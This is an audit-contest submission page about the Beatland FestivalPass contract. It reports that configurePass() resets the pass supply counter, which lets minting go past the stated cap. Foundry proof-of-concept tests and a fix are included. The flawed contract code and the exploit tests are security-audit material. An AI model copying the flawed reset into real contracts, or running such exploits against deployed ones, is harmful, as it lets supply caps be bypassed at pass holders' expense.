Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Supply Counter Reset Enables Unlimited Pass Minting Beyond Maximum Cap

Root + Impact

Description

  • The configurePass() function in FestivalPass.sol is designed to allow the organizer to set or update pass pricing and maximum supply limits for different pass tiers (GENERAL, VIP, BACKSTAGE). Under normal operation, the passSupply counter should track cumulative minted passes to enforce the passMaxSupply limit, preventing over-minting and preserving pass scarcity.

  • The function unconditionally resets passSupply[passId] to zero every time it's called, regardless of how many passes have already been minted and are circulating. This erases historical mint data, causing the buyPass() function to compare the reset counter against maxSupply, effectively allowing the organizer to enable new minting cycles that bypass previously enforced supply restrictions.

function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
@> passSupply[passId] = 0; // Dangerous reset - erases all minting history
}

Risk

Likelihood:

  • The vulnerability triggers when the organizer calls configurePass() after passes have already been sold, either intentionally to enable additional sales or accidentally during routine price/supply adjustments.

  • The attack vector requires only organizer action (no external coordination needed), making it highly likely to occur during normal protocol operations where configuration updates are expected.

Impact:

  • Users holding passes based on advertised scarcity suffer economic harm when supply caps are bypassed and additional passes flood the market.

  • The protocol's credibility is destroyed when "maximum supply" promises become meaningless, and total minted passes can reach 2x, 3x, or unlimited multiples of the stated cap.

Proof of Concept

function testExploit_M01_SupplyResetBypass() public {
// Configure pass with maxSupply = 3
vm.startPrank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.01 ether, 3);
vm.stopPrank();
// Buy all 3 passes
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.deal(user1, 1 ether);
vm.prank(user1);
festivalPass.buyPass{value: 0.01 ether}(GENERAL_PASS);
vm.deal(user2, 1 ether);
vm.prank(user2);
festivalPass.buyPass{value: 0.01 ether}(GENERAL_PASS);
vm.deal(user3, 1 ether);
vm.prank(user3);
festivalPass.buyPass{value: 0.01 ether}(GENERAL_PASS);
assertEq(festivalPass.passSupply(GENERAL_PASS), 3);
// Try to buy 4th - should fail
address user4 = makeAddr("user4");
vm.deal(user4, 1 ether);
vm.prank(user4);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: 0.01 ether}(GENERAL_PASS);
// EXPLOIT: Organizer reconfigures
vm.startPrank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.02 ether, 3);
vm.stopPrank();
// passSupply reset to 0!
assertEq(festivalPass.passSupply(GENERAL_PASS), 0);
// Can now buy 3 MORE passes
vm.prank(user4);
festivalPass.buyPass{value: 0.02 ether}(GENERAL_PASS); // Works!
// Total: 4 passes minted with maxSupply = 3
assertEq(festivalPass.balanceOf(user1, GENERAL_PASS), 1);
assertEq(festivalPass.balanceOf(user2, GENERAL_PASS), 1);
assertEq(festivalPass.balanceOf(user3, GENERAL_PASS), 1);
assertEq(festivalPass.balanceOf(user4, GENERAL_PASS), 1);
}

Recommended Mitigation

Remove the supply counter reset to preserve accurate minting history across configuration updates.

function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
- passSupply[passId] = 0;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] [H-1] Reseting the current pass supply to 0 in the FestivalPass::configurePass function allows users to bypass the max supply cap of a pass

# \[H-1] Reseting the current pass supply to `0` in the `FestivalPass::configurePass` function allows users to bypass the max supply cap of a pass ## Description: ```solidity function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer { require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID"); require(price > 0, "Price must be greater than 0"); require(maxSupply > 0, "Max supply must be greater than 0"); passPrice[passId] = price; passMaxSupply[passId] = maxSupply; @> passSupply[passId] = 0; // Reset current supply } ``` If you reset `passSupply[passId]` to `0` in the `FestivalPass::configurePass` function after passes have been sold, the next buyer will be able to mint as if no passes have been sold. This allows the total minted passes to exceed `passMaxSupply`, which is a serious vulnerability (a supply cap bypass) ## Impact: * Supply caps become meaningless: The users can mint unlimited passes beyond the intended maximum supply * Pass scarcity and value are destroyed, affecting the economic model ## Proof of Concept: ```solidity function test_SupplyCapBypassVulnerability() public { // Step 1: Configure a pass with max supply of 2 vm.prank(organizer); festivalPass.configurePass(1, GENERAL_PRICE, 2); // Step 2: Buy 2 passes (reaching max supply) vm.prank(user1); festivalPass.buyPass{value: GENERAL_PRICE}(1); vm.prank(user2); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Verify max supply reached assertEq(festivalPass.passSupply(1), 2); assertEq(festivalPass.passMaxSupply(1), 2); // Step 3: Try to buy another pass - should fail address user3 = makeAddr("user3"); vm.deal(user3, 10 ether); vm.prank(user3); vm.expectRevert("Max supply reached"); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 4: VULNERABILITY - Organizer reconfigures the pass // This resets passSupply[1] to 0, bypassing the supply cap! vm.prank(organizer); festivalPass.configurePass(1, GENERAL_PRICE, 2); // Step 5: Now we can buy more passes even though max supply was already reached vm.prank(user3); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 6: We can even buy more passes beyond the original max supply vm.deal(user4, 10 ether); vm.prank(user4); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 7: Verify the vulnerability - total supply exceeds max supply assertEq(festivalPass.passSupply(1), 2); // Current supply counter assertEq(festivalPass.passMaxSupply(1), 2); // Max supply limit // But we actually have 4 passes minted in total! assertEq(festivalPass.balanceOf(user1, 1), 1); assertEq(festivalPass.balanceOf(user2, 1), 1); assertEq(festivalPass.balanceOf(user3, 1), 1); assertEq(festivalPass.balanceOf(user4, 1), 1); // Total minted: 4 passes, but max supply is only 2! uint256 totalMinted = festivalPass.balanceOf(user1, 1) + festivalPass.balanceOf(user2, 1) + festivalPass.balanceOf(user3, 1) + festivalPass.balanceOf(user4, 1); assertGt(totalMinted, festivalPass.passMaxSupply(1), "VULNERABILITY: Total minted exceeds max supply!"); } ``` ## Recommended Mitigation: The `passSupply` reset should be removed ```diff function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer { require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID"); require(price > 0, "Price must be greater than 0"); require(maxSupply > 0, "Max supply must be greater than 0"); passPrice[passId] = price; passMaxSupply[passId] = maxSupply; - passSupply[passId] = 0; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!